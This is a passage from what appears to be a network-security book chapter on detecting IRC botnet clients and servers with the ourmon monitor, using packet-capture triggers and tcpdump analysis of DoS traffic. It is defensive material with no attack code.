/home/mrourmon/logs/portreport/Fri\n# find . | xargs grep 192.168.21.138 \nThe output comes out in timestamp order, so you can watch how\nthe host behaved during the day. For example, here are three slightly\nsimplified log entries where we show the timestamp, IP address, work\nweight, and port signature fields:\n20:03:44_PDT 192.168.21.138 (Ew) 81 [80,9][139,23][445,65]\n…\n20:04:11_PDT 192.168.21.138 (EW) 95 [80,4][139,25][445,64]\n…\n20:04:45_PDT 192.168.21.138 (EW) 91 [80,0][139,26][445,67]\n…\nLast, one should point out that a commercial enterprisewide virus plat-\nform (like Symantec’s System Center) might have enterprise-level tools that\ncan give you information about whether host X is infected with some known\npiece of malware.As a result, you might be able to make a correlation\nbetween ourmon and the enterprisewide virus system.This can also help you\ndeal with fringe cases such as the host in our alien channel. If you are lucky,\nyour enterprisewide tool might tell you that hosts X,Y, and Z are infected\nwith toxbot or some other bot client. Correlation of a network point of view\nlike ourmon’s and virus detection systems is a new frontier, and we can hope\nfor more in this direction in the future. Of course, you might not be able to\nmake any correlation with virus detection tools if the bot is new and there is\nas not yet an AV signature.\nwww.syngress.com\nIRC and Botnets • Chapter 8\n303\n" }, { "page_number": 322, "text": "Detecting an IRC Botnet Server\nIn this section we look at details for “Case Study #4: Botnet Server.”\nAround Thanksgiving Day 2005 we unfortunately had a botnet client on\ncampus with the IP address of 192.168.2.51. If we look at a slightly simplified\nTCP port report line for this IP address at 11:06 PST, we see the data shown\nin Table 8.6.\nTable 8.6 TCP Report for IP Address 192.168.2.51\nTimestamp\nIp\nApps Work SA/S L3D/L4D Port Signature\n11:06 PST\n192.168.2.51\nIP\n38\n0\n47/3\n[139,25][445,72]\n[3816,2]\nFrom the application flags (IP), this appears to be a system using IRC that\nis also scanning into our darknet. It is also using the conventional ports of 139\nand 445 for its scanning attacks. It’s a botnet client on a channel called f7, as\nwe learned later. If we come back and look at the same data in the next hour,\nwe find the data shown in Table 8.7.\nTable 8.7 192.168.2.51, Later in the Day\nTimestamp\nIp\nApps Work SA/S L3D/L4D\nPort Signature\n12:35 PST\n192.168.2.51 IP\n13\n25\n2881/1747 [139,20][445,65]\n[1037,2]\n[1041,3][1042,2]*\nThis host is still scanning but it has now acquired 2881 friends in its 30-\nsecond period at 1747 ports, and all 10 port signature buckets are full too (not\nall shown). In addition, note how the work weight has gone down, but the\nSA/S value is now nonzero. It appears that the system in question is starting\nto act like a server. So what happened? The bot client was turned into a bot\nserver. Of course, given the tendency of P2P applications like BitTorrent to\nhave large numbers of peers, maybe it’s an infected bot client with a local user\n(or the remote hacker?) running BitTorrent.As it turns out, there are other\nsimpler ways to detect a bot server.\nSo how can you detect a bot server? Some of the simpler ways are:\nwww.syngress.com\n304\nChapter 8 • IRC and Botnets\n" }, { "page_number": 323, "text": "1. Look at the RRDTOOL IRC network message counts.\n2. Look for any IRC channel with too many hosts in it. For example, if\nyou know you have a normal channel called Ubuntu with 20 host\nIPs in it and all of a sudden you have a channel with 200, 2000, or\n200,000 hosts in it, it’s probably a botnet server channel! \n3. Look for any IRC server with unusual message counts.\nRefer to Figure 8.3 and Figure 6.4 (Case Study #4) in the introductory\nourmon chapter. Figure 8.3 gives you normal IRC message counts for the\nentire PSU network.These really are not very high either. Even the auto-\nmated parts of IRC, like PING and PONG messages, are on the order of 44\npings per 30-second period, really 1 per second. Now what does Figure 6.4\ntell you? All of a sudden we had 2k PINGS and PONGS a second. Large\njumps like this in basic message types are a simple giveaway.\nFigure 8.3 Normal Weekly IRC Statistics \nNow let’s look at some report data from the IRC daily summarization.\nchannels sorted by evil factor:\nchannel\nmsgs\njoins\nprivmsgs\nipcount wormyhosts\nevil?\nf\n181779\n153248\n28531\n47134\n2629\nE\nx\n88767\n49495\n39272\n18098\n1287\nE\nf-exp\n20495\n0\n20495\n5255\n480\nE\nchannels sorted by max messages (note e/E for possible evil channel):\nchannel\nmsgs\njoins\nprivmsgs\nipcount wormyhosts\nevil?\nwww.syngress.com\nIRC and Botnets • Chapter 8\n305\n" }, { "page_number": 324, "text": "f\n181779\n153248\n28531\n47134\n2629\nE\nx\n88767\n49495\n39272\n18098\n1287\nE\nf-exp\n20495\n0\n20495\n5255\n480\nE\nblahblah\n16265\n6939\n9326\n12\n0\nWe have shown the beginning of the evil channel and channels by max mes-\nsages subreports.The channels by max messages subreport is really outstanding in\nany number of ways. Note that channel blahblah was the busiest human IRC\nchannel for the day.That channel had only 12 IP hosts in it. On the other\nhand, channel f appears to have 47134 hosts in it.The broken-out listing of\nhosts for that channel was amazing, but we are not going to show it here.\nThere was only one local IP host in it (the botserver). Of course, the message\ncounts for channel f are high, too, especially compared to the human blahblah\nchannel.Analysis of this report showed that channels f, x, and f-exp were all\nused by the same botnet.They all had the same bot server.\nOne other really interesting thing to note is that the botnet shows up in\nthe evil channel sort, which at first makes no sense. Given one on-campus\nhost and 47,133 off-campus hosts in channel f, why did 2629 of those off-\ncampus hosts appear to be scanners? We can only speculate here to some\nextent, but it’s likely those off-campus hosts are trying to connect to the bot\nserver and failing.This could be because the botnet server has exhausted some\nset of OS resources, so bot client wannabes cannot connect to it.This is one\nreason that the TCP port report now shows one sample IP destination host.\n(At that time it did not show a sample IP destination host.) If at the time it\nhad shown such an IP address destination, all the remote scanners would have\nshown the IP destination of the local botnet server.\nIn summary, we have seen at least four ways to tell that you have a bot\nserver on campus:\n1. Use the RRDTOOL strip charts to look for outlandish message\ncounts.\n2. In the channels by max messages subreport, look for channels with\nabnormal host counts.Thousands are very likely to be abnormal.\nHundreds, depending on your site, could be abnormal.\n3. In the channels by max messages subreport, bot servers will have\nabnormal amounts of messages, too.\nwww.syngress.com\n306\nChapter 8 • IRC and Botnets\n" }, { "page_number": 325, "text": "4. Bot servers might seem to be undergoing scans from remote hosts and\nthus could appear in the evil channel sort. Don’t depend on this; it is\na scalability problem with the bot server system, but it can happen.\nOne other curious side effect can be seen by looking at the daily summa-\nrization for three sample hosts from that day. Keep in mind that these are\nsummarizations; the numbers were averaged across port reports for the entire\nday.The first sample is for a client using BitTorrent.The second is for our bot\nserver.The third is for a busy campus Web server. What, if anything, might we\nlearn? (Refer to Chapter 7 for summarization headings.) The interesting part\nis that the bot server seems to have a higher average for Layer 3 IP destination\naddresses per sample.\nFor example, the bot server has an average of 1183 L3D (unique IP desti-\nnation addresses) versus 106 for the BitTorrent client and 802 for the Web\nserver.This is not a strong result; we have seen BitTorrent clients with counts\nof over 1000 L3D in 30-second samples. However, it is possible that in gen-\neral the bot server might tend to have more peers than most other hosts.\nPacket counts don’t work very well.The bot server sends and receives 3746\nand 2516 packets per second. Because the host is used for control data, it\nmight simply not send as many packets as a P2P host or a Web server.The\nBitTorrent client sends and receives 5296 and 3373 packets per sample\nperiod.Another way to look at it is that although the bot server has thousands\nof clients, it really isn’t sending very many packets. Most of its packets are\ncontrol packets (PING and PONG and the like) maintaining the client-server\nconnection. Host 192.168.2.2 in the following example is using BitTorrent.\nHost 192.168.2.51 is, of course, our bot server. Host 192.168.2.3 is a busy\nWeb server.\n192.168.2.2\nWOR\nBe\n(\n0:\n3: 95:)\n0: (106/95) (69:11:0)\n(5296:3373)\n:2796: Fri_Nov_25_00:00:37_PST_2005: Fri_Nov_25_23:20:33_PST_2005:\nportuples[10]: [16881, 581369][10592, 116174][5107, 49129][6881,\n44625][20000, 41391][32075, 40308][25977, 38775][15912, 37601][14587,\n36534][14148, 35002]\n192.168.2.51 EWORM\nIP\n(\n0: 34:100:)\n20: (1183/777) (719:39:0)\n(3746:2516)\n:2779: Fri_Nov_25_00:00:37_PST_2005: Fri_Nov_25_23:20:33_PST_2005:\nwww.syngress.com\nIRC and Botnets • Chapter 8\n307\n" }, { "page_number": 326, "text": "portuples[10]: [445, 1447344][139, 324577][80, 38816][554,\n36170][5000, 13191][36922, 6506][4460, 5326][1028, 2365][1027, 2351][1037,\n2068]\n192.168.2.3\nOR\nH\n(\n0:\n0:\n5:)\n98: (802/208) (8:1:0) (671:565)\n:2796: Fri_Nov_25_00:00:37_PST_2005: Fri_Nov_25_23:20:33_PST_2005:\nportuples[10]: [1026, 3404][1128, 3147][1030, 2936][1034, 2880][2738,\n2822][1060, 2214][10005, 1992][1033, 1772][52673,\nwww.syngress.com\n308\nChapter 8 • IRC and Botnets\n" }, { "page_number": 327, "text": "www.syngress.com\nIRC and Botnets • Chapter 8\n309\nSummary\nIn this chapter we have looked at the IRC protocol, and ourmon’s statistical\nIRC reports based on four kinds of basic messages, including JOIN, PING,\nPONG, and PRIVMSG.These messages allow ourmon to extract the chan-\nnels from IRC and determine which hosts belong to which channels.\nOurmon also uses a variation of the TCP work weight used for anomaly\ndetection.The work weight is associated with hosts in a channel, and as a\nresult ourmon can tell you in its evil channel report if a given IRC channel\nseems to be full of scanning hosts. If so, that channel could be a botnet client\nmesh. We have also learned to pay attention to channel names so that if new\nchannels pop up, an analyst can investigate them to learn if they are genuine\nchat channels. We can also use the global RRDTOOL IRC message count\nstrip charts and statistics found primarily in the IRC max message sort to\nlearn if a given local host has become a bot server. From a strict IRC point of\nview, bot servers stand out compared to ordinary IRC hosts. Hopefully these\ntools taken together can help an analyst find and cure botnets.\nSolutions Fast Track\nUnderstanding the IRC Protocol\n\u0002 The ngrep tool can be used to directly sniff strings on the network.\n\u0002 In IRC, channels are strings. Channels are the fundamental target of\ndata messages.\n\u0002 An IRC network consists of a set of servers and hosts.\n\u0002 Users join a channel and can then send messages to other users.The\nmessages are distributed by the servers to clients interested in the\nchannel.\n\u0002 Ourmon looks for four fundamental IRC messages, including\nPINGS and PONGS used by servers to tell if clients still exist, JOIN\nused to join channels, and PRIVMSG used to send data to channels.\n" }, { "page_number": 328, "text": "Ourmon’s RRDTOOL Statistics and IRC Reports\n\u0002 All IRC statistics are found on the irc.html page.\n\u0002 The IRC data has three parts: RRDTOOL graphics that show a\nglobal network IRC message counts, an hourly summarization (rolled\nover at midnight to the previous day), and a 30-second report.\n\u0002 The IRC RRDTOOL graph shows message counts for PING,\nPONG, JOIN, and PRIVMSG IRC messages.\n\u0002 The IRC ASCII report shows global, per channel, and per-host\nstatistics.\n\u0002 The most important parts of the ASCII report are the two channel\nsorts at the top, including the evil channel sort and the max message\nsort, as well as the breakdown of each channel with per-host statistics.\n\u0002 The evil channel sort shows IRC channels sorted by the number of\nscanning hosts (wormy hosts) in the channel.\n\u0002 The max message sort shows IRC channels sorted by the total\nnumber of all four kinds of IRC messages.\n\u0002 The per-channel host statistics show the IP addresses of hosts in an\nIRC channel as well as other data, including the maximum TCP\nwork weight seen for any host in the channel.\n\u0002 The maxworm field in the per-host statistics is really the TCP work\nweight, as discussed in the previous chapter.\nDetecting an IRC Client Botnet\n\u0002 An IRC channel with more than a few (say, two) clients with high\nmaxworm (work weight) values could be a botnet channel.\n\u0002 If there is only a few hosts with high work weights, one should\nsearch the TCP port report logs to see if the host has been scanning.\n\u0002 Note that nonscanning hosts in an “evil channel” are likely remote\nbotnet servers. It is a good idea to watch those hosts’ behavior with a\nsniffer.\nwww.syngress.com\n310\nChapter 8 • IRC and Botnets\n" }, { "page_number": 329, "text": "Detecting an IRC Botnet Server \n\u0002 High and anomalous counts in the RRDTOOL IRC statistics graph\ncould indicate the presence of a local botnet server.\n\u0002 Botnet servers typically have unusual host counts.\n\u0002 Botnet servers could have unusual counts for remote IP destinations\n(L3D).\n\u0002 Botnet servers might appear in the evil channel sort.This is due to\nconnection failures by remote exploited hosts.\nQ: Why is the measurement for the TCP work weight weaker here than in\nthe TCP port report? For example, it does not take into account some\nnumber of SYNS per second as is the case with the normal work weight.\nA: The reason is that we are looking at things from a parallel point of view.\nWe want to see if there are many scanning hosts in a channel. So, for\nexample, if you see a channel with 10 hosts and nine hosts having a sum-\nmarized work weight of 99, you can take that as meaning the entire\nchannel is infected. On the other hand, one host out of 10 scanning might\nnot mean much.You can go and examine the TCP port reports, either\nindividual logged versions or the daily summarization, and see if you can\nlearn anything more. If you can’t find the host, that means the host had a\ntrivial work weight problem.You can probably ignore it.\nQ: In the section on detecting IRC bot servers, why did you mention the\nL3D statistic?\nwww.syngress.com\nIRC and Botnets • Chapter 8\n311\nFrequently Asked Questions\nThe following Frequently Asked Questions, answered by the authors of this\nbook, are designed to both measure your understanding of the concepts pre-\nsented \nin \nthis chapter and to assist you with real-life implementation of these concepts.\nTo have your questions about this chapter answered by the author, browse to\nwww.syngress.com/solutions and click on the “Ask the Author” form. \n" }, { "page_number": 330, "text": "A: As mentioned in the previous chapter, L3D means the number of unique\nIP destinations associated with a host during ourmon’s 30-second sample\nperiod.This statistic is a Layer 3 (IP layer) statistic and it could never be\nhidden with encryption.\nQ: I tried to use ngrep with an IRC channel name and it didn’t work. Why?\nA: Besides obvious problems like the channel is suddenly quiet, you need to\nknow that an IRC channel name is case-insensitive. So, for example, if the\nchannel was LSASS445, we use the –i parameter to do case-insensitive\npacket matching. We are also looking for PRIVMSG messages only sent\nto and from a particular host.You could try something like the following:\n# ngrep -q –i \"PRIVMSG.*#lsass445 tcp and host 192.168.2.3\nQ: A 30-second report for IRC exists, but you don’t mention it much here.\nWhy?\nA: It might be of some use for debugging or if there is a very active botnet,\nbut in general IRC is a slow communications medium. We have to look\nfor patterns across hours or days.\nQ: What happens if the hackers switch to port 666 and use some other pro-\ntocol for command and control, say ROT 13 (a variation of the Caesar\nCipher, in this case rotating the letters 13 times) in a new protocol?\nA: This is why we discussed anomaly detection in the previous chapter.\nSooner or later they will attack; otherwise owning a box is useless. When\nthey do, the anomaly detection meters will go off.Then you could choose\nto watch the attacked box with a sniffer and see who is talking to it. If\ntwo boxes behave badly, and they are both talking to an outsider, then\nwatch the outsider. Forensics on the attacked host could indicate an IP\naddress for an attacker.These clues might provide you with an address for\na bot server.All we have done with the IRC module is automate this task.\nwww.syngress.com\n312\nChapter 8 • IRC and Botnets\n" }, { "page_number": 331, "text": "Advanced Ourmon\nTechniques\nSolutions in this chapter:\n■\nAutomated Packet Capture\n■\nOurmon Event Log\n■\nTricks for Searching the Ourmon Logs\n■\nSniffing IRC Messages\n■\nOptimizing the System\nChapter 9\n313\n\u0002 Summary\n\u0002 Solutions Fast Track\n\u0002 Frequently Asked Questions\n" }, { "page_number": 332, "text": "Introduction \nIn this chapter we present some advanced techniques, including ways to help\nyou resolve anomalies when they crop up in the ourmon graphs or reports.At\nthe end of the chapter we will look at some other techniques for improving\nourmon’s performance.These methods are important because they can lead to\nboth a more efficient front-end probe capable of doing more work; they can\nalso help prevent the probe system from being overwhelmed by a denial-of-\nservice (DoS) attack.\nFirst we’ll look at ourmon’s automated packet capture feature that can be\nused to automate packet capture by the probe in the case of certain events.\nWe will also look at the associated event-logging mechanism in ourmon and\nsee what kinds of events show up in the daily system event log. We then look\nat a grab-bag of techniques that include ways to mine the ourmon files for\ndata and a couple of sniffing tools, including ngrep and an ourmon toolkit tool\ncalled ircfr.These tools can be used to extract more detailed information when\nyou are suspicious of particular IP hosts. Finally we will look at ways to\nimprove ourmon’s performance.\nAutomated Packet Capture \nRegarding analysis, remember:The problem with anomaly detection is that\nyou might clearly see that an anomaly exists, but you might not have a good\nexplanation for it. For example, in Chapter 6, we discussed a rather horribly\ngraphic anomaly, but we didn’t explain how we resolved it.The anomaly was\nan unprecedented packet count spike, but few, if any, details about who was\ndoing the attack, what kinds of packets were used, and what exactly was the\ntarget.The attack described in Chapter 6 is an outstanding example of the\nsystem presenting the analyst with an anomaly but not providing enough\nclues to resolve the anomaly.\nIn the ourmon.conf file, it is possible to turn on various automated packet\ncapture triggers. Roughly, this means that when some integer counter (say, the\nnumber of scanners) hits a threshold of some sort (say, 60 hosts), ourmon will\nrecord the next N packets in a file.The file is a tcpdump file, meaning that it\ncan be replayed with any sniffer software that uses the well-known pcap\nwww.syngress.com\n314\nChapter 9 • Advanced Ourmon Techniques\n" }, { "page_number": 333, "text": "(www.libpcap.org) packet capture library.This is commonly used by tools like\nourmon, Snort, and, of course, tcpdump itself, which is an open-source net-\nwork sniffer (found at www.libpcap.org). WireShark (www.wireshark.org) is\nanother sniffer you might want to use.\nIn this chapter we discuss three ourmon triggers that are closely associated\nwith anomaly detection. However, before we explain the triggers and look at\nsample trigger data, let’s first give a general overview of how the automated\npacket capture feature operates. In the first place, all the triggers are turned off\nwhen ourmon is installed.This is an advanced feature and not something you\nwant ourmon to do until you are ready for it.Automated packet capture can\nbe very useful for explaining what happened during an anomalous event. On\nthe downside, it imposes a lot of overhead on the probe system, primarily due\nto file I/O during the normal ourmon probe sampling cycle time.\nRoughly all the triggers have similar ourmon.conf syntax:\n# trigger syntax\ntrigger_name threshold_count packet_count dump_directory\nThe trigger has a name that reflects its function. For example, as we see in\nthe following, a trigger_worm trigger attempts to record packets from large\nnumbers of scanners.A trigger has a threshold that causes ourmon to start\nstoring packets when the threshold is exceeded.The threshold might be a\npacket count, but it might be something else, too, such as a rate (for example,\nbits/sec or packets/sec). Of course, this depends on exactly what type of\ntrigger is being used, as we will see when we examine details about specific\ntriggers.The packet_count specifies the number of packets to store in the output\ndump file.The dump_directory is a directory name on the probe system that tells\nthe probe where to put the stored packets. Be sure to create this directory by\nhand, because ourmon will not create it for you.The filename is automatically\nconstructed by ourmon and includes the trigger_name and a timestamp so that\nall the packet capture tcpdump files have a unique filename.\nIn general, all the triggers work like this:\n1. In the config file, you turn on a trigger by putting in the config\nparameters as described previously.\nwww.syngress.com\nAdvanced Ourmon Techniques • Chapter 9\n315\n" }, { "page_number": 334, "text": "2. You then reboot ourmon and it checks your trigger syntax. It fails if\nyou made a mistake. (See /var/log/messages for errors or check the\nconsole display.)\n3. Every 30 seconds, ourmon now checks the trigger threshold.\n4. If the trigger threshold is exceeded, ourmon creates a unique file-\nname for the trigger that does not conflict with other triggers or\ntrigger files produced by the same trigger.\n5. Ourmon then begins to store packets until either the packet count is\nexhausted or the trigger threshold is crossed in the opposite direction\n(going down). For example, packets will no longer be stored if the\ntrigger is set at 50 hosts for the worm trigger and the threshold is\ncrossed from 60 hosts to 40 hosts during a sample period.\nIn general, packets are stored based on a per-trigger filter specification. For\nexample, the UDP trigger we mention in a moment is per IP address, and\nonly UDP packets involving that IP address will be stored. Some triggers have\na trigger filter specification, and some don’t. For the kinds of triggers we talk\nabout here, the trigger filter specifications are not user programmable.\n(However, there is a form of trigger that we are ignoring here that is associ-\nated with the BPF user graph feature and is programmable by the user. See\ninfo.html for more information; we won’t cover it here.) \nWhen ourmon decides to store packets, it opens a file in the specified\ndirectory with the filename syntax as follows:\ntrigger_name.timestamp.dmp.\nThere are two things to note in general about the stored packets. One is\nthat the packets will not be any bigger than the so-called snap length, which\nis passed into the ourmon probe when it is booted. Currently that value is\n256, which will catch a great deal of Layer 7 payload information (IRC infor-\nmation in particular). Second, it is always possible that a trigger will fail to\ncapture any packets.This is because triggers get turned on only after one basic\nprobe cycle of 30 seconds.There might simply be no packets after the trigger\nis turned on, so the packet capture dump file might have no content for the\nobvious reason that no packets are arriving.\nwww.syngress.com\n316\nChapter 9 • Advanced Ourmon Techniques\n" }, { "page_number": 335, "text": "For anomaly detection, the three triggers of most interest are the tworm\n(trigger_worm) trigger, the UDP weight trigger, and the drops trigger.These triggers\nare not the only triggers in the ourmon system. (See the info.html Web page\nfor more information.) However, these three in particular are extremely useful\nin resolving some kinds of malware-related problems, including DoS attacks\nlaunched remotely, or worse, from your internal network aimed at the outside\nworld. Now let’s talk about each trigger in detail.\nAnomaly Detection Triggers\nThe tworm trigger stores a certain number of TCP packets when the probe\ndetects that the counters associated with the TCP worm graph have exceeded\na specified number of IP hosts.This is the total count (not “us” and not\n“them”). In the ourmon.conf file this trigger is specified as follows:\n# tcp worm graph trigger\ntrigger_worm 60 10000 /usr/dumps\nIn this case we are saying that we want to store 10,000 packets in our\noutput file when the count of all scanners in the TCP worm graph is 60 or\nmore.This particular trigger stores only TCP packets. Only TCP SYN packets\nare stored. Output filenames have the form:\ntworm..dmp\nThe UDP weight trigger stores the specified number of packets for a single\nUDP host when the UDP work weight threshold specified to the probe is\nexceeded.The config syntax is as follows:\n# udp work weight trigger\nudperror_trigger 10000000 10000 /usr/dumps\nThis means that if the UDP work weight exceeds 10 million as a\nthreshold, 10,000 packets will be stored in the output file. Only UDP packets\nfrom the IP host in question are stored.The output file-naming convention is\nas follows:\ntopn_udp_err..dump\nOur last trigger is the trigger that solved Case Study #1. It is called the\ndrops trigger.This trigger is associated with the fundamental packets/drops\nwww.syngress.com\nAdvanced Ourmon Techniques • Chapter 9\n317\n" }, { "page_number": 336, "text": "RRDTOOL graph that shows the total number of packets seen by the probe\nand the operating system buffer drops, which are packets that did not get to\nthe probe. Drops may occur because the system is doing too much work.This\ncould be because the NIC interrupt system and CPU are just not fast enough\nto get the job done.The name here might be said to be a misnomer. We\nobviously cannot store dropped packets. However, the name refers to the\ntrigger threshold. Because the pcap library can count dropped packets even\nthough they are not stored, we choose to trigger on a drop threshold. If our\nprobe is not dropping packets or at least is dropping packets in a regular way,\nwe can choose to make it try to store packets when something really big\ncomes along—and something big might be a botnet-related DOS attack. So\nthe threshold is the RRDTOOL current drop value in the associated packets\ngraph. Our config language is as follows:\n# drop packets event trigger - this is in pkts/sec\ndrop_trigger 20000 40000 /usr/dumps\nThis means if we are dropping 20,000 packets or more, store 40,000\npackets in the output file.The output file format is as follows:\ndrops..dmp\nIt is counterintuitive that this particular trigger might actually work. It has\nworked on some occasions, and on some occasions it has failed.This is\nbecause we can state that triggers will work better in general if they are\nlooking for something that is well defined in the packet stream.The tworm\nand UDP triggers both have a better logical signal-to-noise ratio, which in\nthis case means that the packets stored are more likely to be what has caused\nthe trigger threshold to be exceeded. If you see a lot of packets per second in\nyour network and you store them all, you might not be able to find what\ncaused the problem. So, it is better if the answer more closely approximates\nthe problem. In the case of the drops trigger, this is not necessarily the case,\nbecause there is no filtering at all.Any packet seen is stored. However, if there\nis a very large DoS attack, it is quite possible that all the packets actually seen\nby the probe will only be DoS packets. In fact, the bigger the DoS attack, the\nmore likely this outcome becomes. In the next section we will look at some\nactual examples of this trigger system at work and learn how to analyze the\noutputs.\nwww.syngress.com\n318\nChapter 9 • Advanced Ourmon Techniques\n" }, { "page_number": 337, "text": "TIP\nSo, how does one tune the trigger thresholds? At first, simply watch the\nthree graphs: the associated TCP worm (Figure 6.3), the UDP weight\ngraph (Figure 7.4), and packet/drops RRDTOOL graphs (Figure 6.1). Note\nthe daily highs over a week or two. In other words, learn what is\nnormal first. Then turn on the triggers at a point higher than daily\npeaks over a period of time. This makes sense if you are in a benign\nenvironment. If you find you are in a very hostile environment (lots of\nspikes), you really won’t have a problem choosing a threshold. \nReal-World Trigger Examples\nIn this section we look at two real-world examples of data taken from triggers.\nFirst, though, we have to mention that the ourmon event log is where you\nfind out that a trigger has been turned on.Trigger on and off messages are\nposted there. So any time a trigger is turned on, basic information about the\ntrigger is stored in the event log. Refer to Chapter 7, where Figure 7.1 shows\nthe top of the main ourmon page. Note the two headings event log today and\nevent log yesterday.The weekly summarization for the event log is near the\nbottom of the page as well.The event log entries will tell you the name of the\ntrigger dump file, the time the file was created, and some information about\ncause, including at least the name of the trigger type. For example, if the UDP\nweight trigger goes off, we might see something like this:\nTue Oct 10 03:20:00 PDT 2006: udpweight threshold exceeded:192.168.125.43\n94428480\n1523040\n0\n31\n0\n1/1\n1: [6667,100]\nTue Oct 10 03:20:00 PDT 2006: ourmon front-end event: topn_udp_err trigger\non,\ncurrent count: 94428480, threshold 10000000,\ndumpfile: /usr/dumps/topn_udp_err.<10.10.2006|03:19:29>.dmp\nTue Oct 10 03:20:32 PDT 2006: ourmon front-end event: topn_udp_err trigger\nOFF,\ncurrent count is 75075, threshold: 10000000\nThere are two features here.The first one is that the UDP port report\ninformation for the threshold violation is stored in the event log.This is a\nwww.syngress.com\nAdvanced Ourmon Techniques • Chapter 9\n319\n" }, { "page_number": 338, "text": "back-end software feature.This is shown in the first line above.As a result you\nare told the IP address of the violator, and in fact the entire UDP port report\nline is put in as well. Ironically, in this case if you have any experience, you\nprobably don’t need to go look at the packet data. Why? Because you see that\na lot of UDP packets (15 million in 30 seconds) were sent to one IP destina-\ntion at one port and the port in question was 6667 (which is an IRC port,\nbut IRC uses TCP). It smacks too much of a retaliatory UDP DOS attack.\nThe trigger-on and trigger-off messages also provide useful information. For\nexample, the trigger-on message shows the configured threshold and gives the\nfilename in which we hope to find packets.The real filename is:\n/usr/dumps/topn_udp_err.<10.08.2006|06:48:09>.dmp\nSo let’s actually use the tcpdump utility and look at the packet dump.To\ndo this, we have to change directory to our configured directory on the\nprobe system and invoke the tcpdump utility on the filename.The dump file-\nnames are cumbersome and are not something you ever want to type in.The\nbest thing to do is to use cut and paste. One problem with the current syntax\nis that it defeats the Unix shell because of the > and < characters and the |\n(pipe) character as well; this should be fixed in a future release. In general, you\nwant to put quotes around the filename as a result. So, assume that you cut\nand paste and feed the filename to tcpdump as follows:\n# tcpdump –n –X –r\n\"/usr/dumps/topn_udp_err.<10.08.2006|06:48:09>.dmp\" |\nmore\nIt is worth pointing out that we can use shell wildcard characters and\ncheat without using the full filename, like this:\n# tcpdump –n –X –r *10.08.2006*06:48* | more\nSo, –n means no reverse pointer DNS lookup, -X means that you want a\nhexdump and a traditional ASCII translation (if available) on the right-hand\nside of the packet contents, and –r tells tcpdump to take its input from a file,\nnot the network.As a result, we get something like the following:\n03:48:29.258236 192.168.125.43.35415 > 10.0.49.145.6667: udp 10 (DF)\n0x0000\n4500 0026 6475 4000 3f11 07ea XXXX XXXX\nE..&du@.?.......\n0x0010\nXXXX XXXX 8a57 1a0b 0012 86f5 3031 3233\n.............0123\n0x0020\n3435 3637 3839 0000 0000 0000 0000\n456789........\n03:48:29.258239 192.168.125.43.35415 > 10.0.49.145.6667: udp 10 (DF)\nwww.syngress.com\n320\nChapter 9 • Advanced Ourmon Techniques\n" }, { "page_number": 339, "text": "0x0000\n4500 0026 6476 4000 3f11 07e9 XXXX XXXX\nE..&dv@.?.......\n0x0010\nXXXX XXXX 8a57 1a0b 0012 86f5 3031 3233\n.............0123\n0x0020\n3435 3637 3839 0000 0000 0000 0000\n456789........\n03:48:29.258352 192.168.125.43.35415 > 10.0.49.145.6667: udp 10 (DF)\n0x0000\n4500 0026 6477 4000 3f11 07e8 XXXX XXXX\nE..&dw@.?.......\n0x0010\nXXXX XXXX 8a57 1a0b 0012 86f5 3031 3233\n.............0123\n0x0020\n3435 3637 3839 0000 0000 0000 0000\n456789........\nTIP\nIf you don’t know enough about the TCP/IP protocols, choose one of\nthese two well-known foundation books on TCP/IP and read it:\n1.\nThe Protocols (TCP/IP Illustrated, Volume 1), by W. Richard\nStevens; Addison-Wesley, 1993, ISBN 0201633469\n2.\nInternetworking with TCP/IP, Vol. 1 (Fifth Edition), by Douglas\nComer.; Prentice-Hall, 2005, ISBN 0131876716\nEither of these books will give you the fundamental knowledge\nyou need to deal with decoding TCP/IP packets. Unfortunately, Stevens\npassed away in 1999, but his book is still very useful in terms of\ndetails. Comer’s book is more up to date. \nIf you want more details about tcpdump itself as a utility, you\nshould read the man page itself; it is well written and has examples.\nTcpdump comes from www.tcpdump.org and works on all Unix systems\nas well as Windows. Another very popular free sniffer is WireShark,\nwhich you can find at www.wireshark.org. WireShark has plenty of doc-\numentation and an extensive set of protocol dissectors. Both tools can\nuse the standard tcpdump format files produced as output by ourmon. \nSo, what can we learn from our tcpdump data? The first line of the tcp-\ndump output is as follows:\n192.168.125.43.35415 > 10.0.49.145.6667: udp 10\nSo an internal system using the source UDP port 35415 was sending\npackets at a particular external system with the destination port 6667.The\npayload size (L7 data) was 10 bytes.The reason we used the –X parameter was\nactually to inspect the contents of the data payload above the UDP header.\nThe hexdump starts with 0x45, which indicates an IPv4 packet and is the\nwww.syngress.com\nAdvanced Ourmon Techniques • Chapter 9\n321\n" }, { "page_number": 340, "text": "start of the IP header itself. IP headers are normally 20 bytes long. UDP\nheaders are 8 bytes long.The ASCII dump on the right-hand side shows that\nthe data contents were the ASCII numbers 0123456789. We can observe that\nthe strength of the outburst (1.5 million packets in 30 seconds), the remote\nport (UDP/6667), the size of the packets themselves (small as possible), and of\ncourse the lack of any significant data, as well as the UDP weight metric\nitself, all strongly suggest that the data flow was useless and was crafted as a\nDoS attack.\nWe know from our own forensic experience that attacks like this are\ncommonly aimed at Unix-based Web servers running Web scripts using a\nprogram with unpatched bugs.An example of this sort of attack is the Perl-\nbased Santy worm (see www.norman.com/Virus/Virus_descriptions/\n19122/en), which used Google to look for vulnerable sites to attack. Once a\nsystem has been compromised with some malware like the Santy, a tool might\nbe downloaded that allows the attackers to start large UDP-based attacks at\nremote sites and could very well include a botnet master connection as well.\nWe don’t have any specific knowledge about why UDP port 6667 might have\nbeen chosen.Typically that port is associated with an IRC server, but tradi-\ntionally IRC servers use TCP port 6667. Of course, we can say that sending a\nhigh volume of useless UDP packets at a remote system is an antisocial act.\nNow let’s look at another example. In this case we’ll examine the output\ncreated by the drops trigger during the DDoS attack described in Chapter 6.\nHere we have three sample packets:\n12:58:29.366866 IP 10.0.10.1.32560 > 192.168.4.4.22: S\n549104161:549104161(0) win 32120 \n12:58:29.366869 IP 10.0.10.2.17001 > 192.168.4.4.22: S\n1301935973:1301935973(0) win 32120 \n12:58:29.366872 IP 10.0.10.3.1878 > 192.168.4.4.22: S\n3044014642:3044014642(0) win 32120 \nHere we are seeing external IPs targeting one interior network IP at port\n22, which is typically used by the Secure Shell daemon (SSHD).All the\npackets are TCP SYNs, which means that all the packets are as small as \nwww.syngress.com\n322\nChapter 9 • Advanced Ourmon Techniques\n" }, { "page_number": 341, "text": "possible. (Ethernet packets above the Ethernet layer must have at least 46\nbytes minimally.This is why the UDP packets that appeared previously have\nzeros following the 10 bytes of ASCII payload.) Thus these SYN packets (as\nis usually the case with DoS attacks) are small packets that have only an 